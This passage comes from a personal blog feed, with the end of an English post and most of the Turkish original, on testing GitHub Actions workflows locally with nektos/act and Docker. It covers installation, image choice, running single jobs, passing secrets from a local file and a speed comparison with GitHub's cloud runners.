&lt;li&gt;&lt;strong&gt;Medium:&lt;/strong&gt; About 500MB. It contains enough tools for most jobs. This is what I used, and it's my recommendation to you. Just right.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Micro:&lt;/strong&gt; Under 200MB. It only has NodeJS. It's very limited and won't work for every Actions.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Docker Socket Warning&lt;/p&gt;
&lt;p&gt;Don't be afraid if you get a warning like &lt;code&gt;Couldn't get a valid docker connection&lt;/code&gt;. This usually happens because the &lt;code&gt;DOCKER_HOST&lt;/code&gt; variable or socket access is not fully set. Make sure Docker is running, the rest will be fine.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;Tip ⚡&lt;/p&gt;
&lt;p&gt;If you want to change these choices later, you can open and manually intervene in the &lt;code&gt;C:\Users\Username\AppData\Local\act\actrc&lt;/code&gt; file on Windows (or &lt;code&gt;~/.actrc&lt;/code&gt; on Linux).&lt;/p&gt;
&lt;/div&gt;
&lt;h3 id="running-a-specific-job"&gt;Running a Specific Job&lt;a class="headerlink" href="#running-a-specific-job" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Sometimes you want to test a single job, not an entire workflow. After all, time is money, right? Here's how we do it:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;act -j build&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;build&lt;/code&gt; here is the naming under &lt;code&gt;jobs&lt;/code&gt; in your yaml file. So it goes and only tests that part, it doesn't care about the rest.&lt;/p&gt;
&lt;h2 id="what-happened-to-me-common-problems_1"&gt;What Happened to Me: Common Problems&lt;a class="headerlink" href="#what-happened-to-me-common-problems" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I'm not sure, but I think you'll get stuck the most on "Secrets" while using &lt;code&gt;act&lt;/code&gt;. Those API keys and passwords you hide in that secure area on GitHub are naturally not available locally. When &lt;code&gt;act&lt;/code&gt; can't see them, it crashes.&lt;/p&gt;
&lt;p&gt;When I first tried it, I struggled for half an hour wondering "Why am I getting an env error?". It turns out it was expecting something like a &lt;code&gt;.env&lt;/code&gt; file.&lt;/p&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Warning! ⚠️&lt;/p&gt;
&lt;p&gt;If you are using Secrets, create a &lt;code&gt;.secrets&lt;/code&gt; file and add it as &lt;code&gt;MY_TOKEN=asdasd&lt;/code&gt;. Then run it with this command:
&lt;code&gt;act --secret-file .secrets&lt;/code&gt;
Don't you dare push this &lt;code&gt;.secrets&lt;/code&gt; file to git by mistake, then those security measures I explained in my &lt;a href="/en/git-ssh-key-olusturma/"&gt;git ssh key creation&lt;/a&gt; post will be in vain.&lt;/p&gt;
&lt;/div&gt;
&lt;h3 id="like-the-availablewidth0-error-that-adsense-issue"&gt;Like the availableWidth=0 Error... (That AdSense Issue)&lt;a class="headerlink" href="#like-the-availablewidth0-error-that-adsense-issue" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Recently, while dealing with AdSense ads on the blog, I got an "availableWidth=0" error, you know, the annoying one. You might get weird outputs in &lt;code&gt;act&lt;/code&gt; too because of the width of containers or environment variables. If the logs get mixed up, use the &lt;code&gt;-v&lt;/code&gt; (verbose) flag. Yes, the terminal will overflow with text, but at least you'll see where it crashed.&lt;/p&gt;
&lt;h2 id="act-vs-github-which-one-is-faster_1"&gt;act vs GitHub: Which One is Faster?&lt;a class="headerlink" href="#act-vs-github-which-one-is-faster" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Let's be honest. &lt;code&gt;act&lt;/code&gt; can sometimes feel slow because it spins up the Docker container from scratch every time (unless you've done the cache settings). But it's faster than pushing to GitHub and waiting for Actions to get in line anyway.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;Feature&lt;/th&gt;
&lt;th style="text-align: left;"&gt;act (Local)&lt;/th&gt;
&lt;th style="text-align: left;"&gt;GitHub Actions (Cloud)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Speed&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Very fast if image is loaded&lt;/td&gt;
&lt;td style="text-align: left;"&gt;You might wait in line&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Feedback&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Instant, in terminal&lt;/td&gt;
&lt;td style="text-align: left;"&gt;In web interface&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Cost&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Free (Your own electricity!)&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Free tier is limited&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Accuracy&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;95% (Some services missing)&lt;/td&gt;
&lt;td style="text-align: left;"&gt;100% Original Environment&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The bottom line is; &lt;code&gt;act&lt;/code&gt; is not a bullet, it's a shield. It protects you from unnecessary commits and time loss.&lt;/p&gt;
&lt;h2 id="conclusion-you-wont-commit-with-test-anymore"&gt;Conclusion: You Won't Commit with "Test" Anymore!&lt;a class="headerlink" href="#conclusion-you-wont-commit-with-test-anymore" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Like the relief when I installed OpenSSL 3.x, the peace that comes when you configure &lt;code&gt;act&lt;/code&gt; properly is something else. Now you can make sure everything is "Green" locally before pushing your project. 🚀&lt;/p&gt;
&lt;p&gt;So sometimes the solution isn't trusting the cloud, but bringing that power down to your own computer. Now go and slap those unfinished workflows locally! 😎&lt;/p&gt;
&lt;hr/&gt;
&lt;h3 id="related-posts"&gt;Related Posts:&lt;a class="headerlink" href="#related-posts" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="/en/github-commit-atma-rehberi/"&gt;GitHub Commit Guide&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/en/arch-linux-docker-kurulumu/"&gt;Arch Linux Docker Installation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/en/git-ssh-key-olusturma/"&gt;Git SSH Key Creation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;You can reach the original documentation of the Nektos act project &lt;a href="https://nektosact.com/usage/index.html" rel="noopener noreferrer" target="_blank"&gt;here&lt;/a&gt;.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;If you are getting a "Permission Denied" error inside the container, check if you are included in the docker group.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Geliştirme Araçları"/><category term="github actions"/><category term="act"/><category term="docker"/><category term="devops"/><category term="git"/></entry><entry><title>GitHub Actions'ı Yerelde Koşturmak: act ile "Deneme-Yanılma" Devrini Kapatıyoruz</title><link href="https://yuceltoluyag.github.io/github-actions-yerelde-test-etme-act/" rel="alternate"/><published>2026-05-08T22:45:00+03:00</published><updated>2026-05-08T22:45:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-05-08:/github-actions-yerelde-test-etme-act/</id><summary type="html">&lt;p&gt;GitHub Actions yazarken her seferinde "test" diye commit atmaktan bıktınız mı? act ile yerelde Docker üzerinden workflow'larınızı nasıl test edeceğinizi anlatan derinlemesine bir rehber. (Rehber)&lt;/p&gt;</summary><content type="html">&lt;p&gt;Mahalle bask&amp;inodot;s&amp;inodot; m&amp;inodot; dersiniz, yoksa o sinir bozucu "test 1", "test 2", "l&amp;uuml;tfen &amp;ccedil;al&amp;inodot;&amp;scedil; art&amp;inodot;k" diye giden commit mesajlar&amp;inodot; m&amp;inodot;? Bazen kendime soruyorum, neden kolay&amp;inodot; varken zoru se&amp;ccedil;iyoruz? Bir yaml dosyas&amp;inodot; yaz&amp;inodot;yorsun, ufac&amp;inodot;k bir syntax hatas&amp;inodot; var m&amp;inodot; yok mu anlamak i&amp;ccedil;in illa ki o &lt;code&gt;git push&lt;/code&gt; komutuna basman gerekiyor. Sonra ne oluyor? GitHub amca orada d&amp;ouml;n&amp;uuml;yor, d&amp;ouml;n&amp;uuml;yor, hop "Failed". Hadi ba&amp;scedil;tan... Resmen teknolojik bir i&amp;scedil;kence bu.&lt;/p&gt;
&lt;p&gt;Neyse ki ge&amp;ccedil;en g&amp;uuml;n bu i&amp;scedil;kenceye bir son verdim. Hani &amp;scedil;u me&amp;scedil;hur &lt;strong&gt;act&lt;/strong&gt; (nektos/act) &lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt; olay&amp;inodot; var ya, me&amp;gbreve;er kurtar&amp;inodot;c&amp;inodot;m&amp;inodot;z oymu&amp;scedil;. Me&amp;gbreve;er biz bo&amp;scedil;una GitHub'&amp;inodot;n sunucular&amp;inodot;n&amp;inodot; yoruyormu&amp;scedil;uz (ve kendi commit ge&amp;ccedil;mi&amp;scedil;imizi &amp;ccedil;&amp;ouml;p ediyormu&amp;scedil;uz).&lt;/p&gt;
&lt;h2 id="nedir-bu-act-ve-neden-simdiye-kadar-kullanmadm"&gt;Nedir Bu "act" ve Neden &amp;Scedil;imdiye Kadar Kullanmad&amp;inodot;m?&lt;a class="headerlink" href="#nedir-bu-act-ve-neden-simdiye-kadar-kullanmadm" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&amp;Idot;&amp;scedil;in ilgin&amp;ccedil; yan&amp;inodot;, bu ara&amp;ccedil; asl&amp;inodot;nda &amp;ccedil;ok basit bir mant&amp;inodot;kla &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;yor: GitHub Actions'&amp;inodot;n kulland&amp;inodot;&amp;gbreve;&amp;inodot; ortam&amp;inodot; Docker &amp;uuml;zerinden senin bilgisayar&amp;inodot;na getiriyor. Yani o &lt;code&gt;.github/workflows&lt;/code&gt; klas&amp;ouml;r&amp;uuml;ndeki dosyalar&amp;inodot;n&amp;inodot; al&amp;inodot;yor, bir Docker konteyneri aya&amp;gbreve;a kald&amp;inodot;r&amp;inodot;yor ve sanki GitHub'daym&amp;inodot;&amp;scedil;s&amp;inodot;n gibi her &amp;scedil;eyi orada ko&amp;scedil;turuyor.&lt;/p&gt;
&lt;p&gt;&amp;Scedil;imdi d&amp;uuml;r&amp;uuml;st olal&amp;inodot;m, &amp;ccedil;o&amp;gbreve;umuz GitHub Actions yazarken biraz "karanl&amp;inodot;kta el yordam&amp;inodot;yla" ilerliyoruz. &lt;a href="/github-commit-atma-rehberi/"&gt;GitHub commit atma rehberi&lt;/a&gt; yaz&amp;inodot;mda bahsetti&amp;gbreve;im o d&amp;uuml;zenli commit yap&amp;inodot;s&amp;inodot;, Actions denemeleri s&amp;inodot;ras&amp;inodot;nda resmen can &amp;ccedil;eki&amp;scedil;iyor. &amp;Idot;&amp;scedil;te &lt;code&gt;act&lt;/code&gt; tam burada devreye giriyor. "Pushlamadan &amp;ouml;nce bir bakay&amp;inodot;m, d&amp;uuml;zg&amp;uuml;n &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;yor mu?" diyebiliyorsun.&lt;/p&gt;
&lt;h2 id="baslamadan-once-docker-sart-mahalle-basks-yine-geldi"&gt;Ba&amp;scedil;lamadan &amp;Ouml;nce: Docker &amp;Scedil;art (Mahalle Bask&amp;inodot;s&amp;inodot; Yine Geldi)&lt;a class="headerlink" href="#baslamadan-once-docker-sart-mahalle-basks-yine-geldi" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Bak&amp;inodot;n buras&amp;inodot; &amp;ccedil;ok &amp;ouml;nemli: &lt;code&gt;act&lt;/code&gt; tek ba&amp;scedil;&amp;inodot;na bir sihirbaz de&amp;gbreve;il. Arkada bir Docker motoruna ihtiya&amp;ccedil; duyuyor. E&amp;gbreve;er sisteminizde Docker y&amp;uuml;kl&amp;uuml; de&amp;gbreve;ilse, &lt;code&gt;act&lt;/code&gt; size sadece h&amp;uuml;z&amp;uuml;nl&amp;uuml; bir hata mesaj&amp;inodot; verir.&lt;/p&gt;
&lt;p&gt;E&amp;gbreve;er Arch Linux kullan&amp;inodot;yorsan&amp;inodot;z (ki benim gibi bir Arch a&amp;scedil;&amp;inodot;&amp;gbreve;&amp;inodot;ysan&amp;inodot;z muhtemelen &amp;ouml;yledir), &lt;a href="/arch-linux-docker-kurulumu/"&gt;Arch Linux Docker kurulumu&lt;/a&gt; yaz&amp;inodot;ma bir g&amp;ouml;z at&amp;inodot;n derim. Orada her &amp;scedil;eyi detayl&amp;inodot;ca anlatt&amp;inodot;m, eksiksiz kurun ki &lt;code&gt;act&lt;/code&gt; naz yapmas&amp;inodot;n.&lt;/p&gt;
&lt;h3 id="kurulum-terminalle-yardrma-vakti"&gt;Kurulum: Terminalle Yard&amp;inodot;rma Vakti&lt;a class="headerlink" href="#kurulum-terminalle-yardrma-vakti" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Kurulum k&amp;inodot;sm&amp;inodot; asl&amp;inodot;nda olduk&amp;ccedil;a ac&amp;inodot;s&amp;inodot;z. Ben genelde her &amp;scedil;eyi terminalden halletmeyi sevdi&amp;gbreve;im i&amp;ccedil;in size de o yolu g&amp;ouml;sterece&amp;gbreve;im.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Linux (Arch):&lt;/strong&gt; &lt;code&gt;yay -S act&lt;/code&gt; veya &lt;code&gt;pacman -S act&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MacOS:&lt;/strong&gt; &lt;code&gt;brew install act&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Windows:&lt;/strong&gt; &lt;code&gt;choco install act-cli&lt;/code&gt; veya &lt;code&gt;winget install nektos.act&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Kurulum bittikten sonra bir &lt;code&gt;act --version&lt;/code&gt; yaz&amp;inodot;n da kendinize gelin. O &amp;ccedil;&amp;inodot;kt&amp;inodot;y&amp;inodot; ekranda g&amp;ouml;r&amp;uuml;nce insan bir rahatl&amp;inodot;yor, "Tamam, en az&amp;inodot;ndan bir &amp;scedil;eyi do&amp;gbreve;ru yapt&amp;inodot;k" diyorsun.&lt;/p&gt;
&lt;h2 id="ilk-kosu-act-ile-tansma_1"&gt;&amp;Idot;lk Ko&amp;scedil;u: "act" ile Tan&amp;inodot;&amp;scedil;ma&lt;a class="headerlink" href="#ilk-kosu-act-ile-tansma" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Kurulum bitti, Docker haz&amp;inodot;r. &amp;Scedil;imdi projenizin k&amp;ouml;k dizinine gidin ve &amp;scedil;u b&amp;uuml;y&amp;uuml;l&amp;uuml; komutu yaz&amp;inodot;n:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;act&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;E&amp;gbreve;er hi&amp;ccedil;bir parametre vermezseniz, &lt;code&gt;act&lt;/code&gt; gidip &lt;code&gt;push&lt;/code&gt; event'ine ba&amp;gbreve;l&amp;inodot; olan t&amp;uuml;m i&amp;scedil;leri (job) s&amp;inodot;rayla &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rmaya ba&amp;scedil;lar. &amp;Idot;lk &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rd&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot;zda size hangi Docker imaj&amp;inodot;n&amp;inodot; kullanmak istedi&amp;gbreve;inizi soracak. Ben genelde "Medium" olan&amp;inodot; se&amp;ccedil;iyorum, ne &amp;ccedil;ok hantal ne de &amp;ccedil;ok eksik. Ama disk alan&amp;inodot;n&amp;inodot;z darsa "Light" da i&amp;scedil;inizi g&amp;ouml;r&amp;uuml;r, tabii baz&amp;inodot; ba&amp;gbreve;&amp;inodot;ml&amp;inodot;l&amp;inodot;klar&amp;inodot; kendiniz kurmak zorunda kalabilirsiniz.&lt;/p&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;&amp;Idot;pucu ⚡&lt;/p&gt;
&lt;/div&gt;
&lt;h3 id="imaj-secimi-buyuk-mu-orta-m-yoksa-minicik-mi"&gt;&amp;Idot;maj Se&amp;ccedil;imi: B&amp;uuml;y&amp;uuml;k m&amp;uuml;, Orta m&amp;inodot;, Yoksa Minicik mi?&lt;a class="headerlink" href="#imaj-secimi-buyuk-mu-orta-m-yoksa-minicik-mi" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&amp;Idot;lk &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rd&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot;zda &lt;code&gt;act&lt;/code&gt; size bir soru soracak: "Hangi imaj&amp;inodot; kullanmak istersin?" &amp;Idot;&amp;scedil;te buras&amp;inodot; tam bir "k&amp;inodot;rm&amp;inodot;z&amp;inodot; hap, mavi hap" an&amp;inodot;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Large (B&amp;uuml;y&amp;uuml;k):&lt;/strong&gt; Yakla&amp;scedil;&amp;inodot;k 17GB indirme, 53GB depolama... Toplamda 75GB bo&amp;scedil; alan istiyor! GitHub'daki orijinal makinelerin kopyas&amp;inodot; gibi ama SSD'nizde yer b&amp;inodot;rakmaz.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Medium (Orta):&lt;/strong&gt; Yakla&amp;scedil;&amp;inodot;k 500MB. &amp;Ccedil;o&amp;gbreve;u i&amp;scedil; i&amp;ccedil;in yeterli ara&amp;ccedil;lar&amp;inodot; bar&amp;inodot;nd&amp;inodot;r&amp;inodot;yor. Ben i&amp;scedil;imi bununla g&amp;ouml;rd&amp;uuml;m, size de tavsiyem budur. Tam karar&amp;inodot;nda.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Micro (Mikro):&lt;/strong&gt; 200MB alt&amp;inodot;. Sadece NodeJS var. &amp;Ccedil;ok k&amp;inodot;s&amp;inodot;tl&amp;inodot;, her Actions'da yemez.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Docker Soket Uyar&amp;inodot;s&amp;inodot;&lt;/p&gt;
&lt;p&gt;E&amp;gbreve;er &lt;code&gt;Couldn't get a valid docker connection&lt;/code&gt; gibi bir uyar&amp;inodot; al&amp;inodot;rsan&amp;inodot;z korkmay&amp;inodot;n. &lt;sup id="fnref:2"&gt;&lt;a class="footnote-ref" href="#fn:2"&gt;2&lt;/a&gt;&lt;/sup&gt; Bu genelde &lt;code&gt;DOCKER_HOST&lt;/code&gt; de&amp;gbreve;i&amp;scedil;keninin veya soket eri&amp;scedil;iminin tam oturmamas&amp;inodot;ndan olur. Docker'&amp;inodot;n &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;&amp;gbreve;&amp;inodot;ndan emin olun, gerisi hallolur.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;&amp;Idot;pucu ⚡&lt;/p&gt;
&lt;p&gt;Bu se&amp;ccedil;imlerinizi sonradan de&amp;gbreve;i&amp;scedil;tirmek isterseniz Windows'ta &lt;code&gt;C:\Users\Kullan&amp;inodot;c&amp;inodot;Ad&amp;inodot;\AppData\Local\act\actrc&lt;/code&gt; dosyas&amp;inodot;n&amp;inodot; (Linux'ta &lt;code&gt;~/.actrc&lt;/code&gt;) a&amp;ccedil;&amp;inodot;p elle m&amp;uuml;dahale edebilirsiniz.&lt;/p&gt;
&lt;/div&gt;
&lt;h3 id="belirli-bir-job-calstrmak"&gt;Belirli Bir Job'&amp;inodot; &amp;Ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rmak&lt;a class="headerlink" href="#belirli-bir-job-calstrmak" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Bazen koca bir workflow'u de&amp;gbreve;il de sadece tek bir i&amp;scedil;i test etmek istersiniz. Sonu&amp;ccedil;ta vakit nakit, de&amp;gbreve;il mi? &amp;Scedil;&amp;ouml;yle yap&amp;inodot;yoruz:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;act -j build&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Buradaki &lt;code&gt;build&lt;/code&gt;, sizin yaml dosyan&amp;inodot;zdaki &lt;code&gt;jobs&lt;/code&gt; alt&amp;inodot;ndaki isimlendirmedir. Yani gidip sadece o k&amp;inodot;sm&amp;inodot; test eder, gerisini umursamaz.&lt;/p&gt;
&lt;h2 id="benim-basma-gelenler-sk-karslaslan-sorunlar_1"&gt;Benim Ba&amp;scedil;&amp;inodot;ma Gelenler: S&amp;inodot;k Kar&amp;scedil;&amp;inodot;la&amp;scedil;&amp;inodot;lan Sorunlar&lt;a class="headerlink" href="#benim-basma-gelenler-sk-karslaslan-sorunlar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Emin de&amp;gbreve;ilim ama san&amp;inodot;r&amp;inodot;m &lt;code&gt;act&lt;/code&gt; kullan&amp;inodot;rken en &amp;ccedil;ok "Secrets" (S&amp;inodot;rlar) konusunda tak&amp;inodot;lacaks&amp;inodot;n&amp;inodot;z. GitHub'da o g&amp;uuml;venli alana saklad&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot;z API anahtarlar&amp;inodot;, &amp;scedil;ifreler yerelde yok haliyle. &lt;code&gt;act&lt;/code&gt; bunlar&amp;inodot; g&amp;ouml;remeyince de patl&amp;inodot;yor.&lt;/p&gt;
&lt;p&gt;Ben ilk denedi&amp;gbreve;imde "Neden env hatas&amp;inodot; al&amp;inodot;yorum?" diye yar&amp;inodot;m saat t&amp;inodot;rmalad&amp;inodot;m. Me&amp;gbreve;er &lt;code&gt;.env&lt;/code&gt; dosyas&amp;inodot; gibi bir &amp;scedil;ey bekliyormu&amp;scedil;.&lt;/p&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Dikkat! ⚠️&lt;/p&gt;
&lt;p&gt;Secrets kullan&amp;inodot;yorsan&amp;inodot;z, bir &lt;code&gt;.secrets&lt;/code&gt; dosyas&amp;inodot; olu&amp;scedil;turun ve i&amp;ccedil;ine &lt;code&gt;MY_TOKEN=asdasd&lt;/code&gt; &amp;scedil;eklinde ekleyin. Sonra da &amp;scedil;u komutla &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;r&amp;inodot;n:
&lt;code&gt;act --secret-file .secrets&lt;/code&gt;
Sak&amp;inodot;n ha bu &lt;code&gt;.secrets&lt;/code&gt; dosyas&amp;inodot;n&amp;inodot; yanl&amp;inodot;&amp;scedil;l&amp;inodot;kla git'e pushlamay&amp;inodot;n, sonra &lt;a href="/git-ssh-key-olusturma/"&gt;git ssh key olu&amp;scedil;turma&lt;/a&gt; yaz&amp;inodot;mda anlatt&amp;inodot;&amp;gbreve;&amp;inodot;m o g&amp;uuml;venlik &amp;ouml;nlemleri bo&amp;scedil;a gider.&lt;/p&gt;
&lt;/div&gt;
&lt;h3 id="availablewidth0-hatas-gibi-hani-su-adsense-meselesi"&gt;availableWidth=0 Hatas&amp;inodot; Gibi... (Hani &amp;Scedil;u AdSense Meselesi)&lt;a class="headerlink" href="#availablewidth0-hatas-gibi-hani-su-adsense-meselesi" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Ge&amp;ccedil;enlerde blogda AdSense reklamlar&amp;inodot;yla u&amp;gbreve;ra&amp;scedil;&amp;inodot;rken bir "availableWidth=0" hatas&amp;inodot; alm&amp;inodot;&amp;scedil;t&amp;inodot;m, hani o sinir bozucu olan. &lt;code&gt;act&lt;/code&gt; i&amp;ccedil;inde de bazen konteynerlerin geni&amp;scedil;li&amp;gbreve;i veya ortam de&amp;gbreve;i&amp;scedil;kenleri y&amp;uuml;z&amp;uuml;nden garip &amp;ccedil;&amp;inodot;kt&amp;inodot;lar alabilirsiniz. E&amp;gbreve;er loglar birbirine girerse &lt;code&gt;-v&lt;/code&gt; (verbose) flag'ini kullan&amp;inodot;n. Evet, terminal yaz&amp;inodot;yla dolup ta&amp;scedil;acak ama en az&amp;inodot;ndan nerede patlad&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot; g&amp;ouml;r&amp;uuml;rs&amp;uuml;n&amp;uuml;z.&lt;/p&gt;
&lt;h2 id="act-vs-github-hangisi-daha-hzl_1"&gt;act vs GitHub: Hangisi Daha H&amp;inodot;zl&amp;inodot;?&lt;a class="headerlink" href="#act-vs-github-hangisi-daha-hzl" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&amp;Scedil;imdi e&amp;gbreve;ri otural&amp;inodot;m do&amp;gbreve;ru konu&amp;scedil;al&amp;inodot;m. &lt;code&gt;act&lt;/code&gt; bazen yava&amp;scedil; gelebilir &amp;ccedil;&amp;uuml;nk&amp;uuml; Docker konteynerini her seferinde ba&amp;scedil;tan aya&amp;gbreve;a kald&amp;inodot;r&amp;inodot;yor (e&amp;gbreve;er cache ayarlar&amp;inodot;n&amp;inodot; yapmad&amp;inodot;ysan&amp;inodot;z). Ama GitHub'a pushlay&amp;inodot;p Actions'&amp;inodot;n s&amp;inodot;raya girmesini beklemekten her t&amp;uuml;rl&amp;uuml; daha h&amp;inodot;zl&amp;inodot;.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;&amp;Ouml;zellik&lt;/th&gt;
&lt;th style="text-align: left;"&gt;act (Yerel)&lt;/th&gt;
&lt;th style="text-align: left;"&gt;GitHub Actions (Bulut)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;H&amp;inodot;z&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&amp;Idot;maj y&amp;uuml;kl&amp;uuml;yse &amp;ccedil;ok h&amp;inodot;zl&amp;inodot;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;S&amp;inodot;ra bekleyebilirsiniz&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Geri Bildirim&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;An&amp;inodot;nda, terminalde&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Web aray&amp;uuml;z&amp;uuml;nde&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Maliyet&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Bedava (Kendi elektri&amp;gbreve;in!)&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Free tier limitli&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Do&amp;gbreve;ruluk&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;%95 (Baz&amp;inodot; servisler eksik)&lt;/td&gt;
&lt;td style="text-align: left;"&gt;%100 Orijinal Ortam&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&amp;Idot;&amp;scedil;in &amp;ouml;z&amp;uuml; &amp;scedil;u; &lt;code&gt;act&lt;/code&gt; bir mermi de&amp;gbreve;il, bir kalkan. Sizi gereksiz commitlerden ve vakit kayb&amp;inodot;ndan koruyor.&lt;/p&gt;
&lt;h2 id="sonuc-artk-test-diye-commit-atmayacaksnz"&gt;Sonu&amp;ccedil;: Art&amp;inodot;k "Test" Diye Commit Atmayacaks&amp;inodot;n&amp;inodot;z!&lt;a class="headerlink" href="#sonuc-artk-test-diye-commit-atmayacaksnz" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
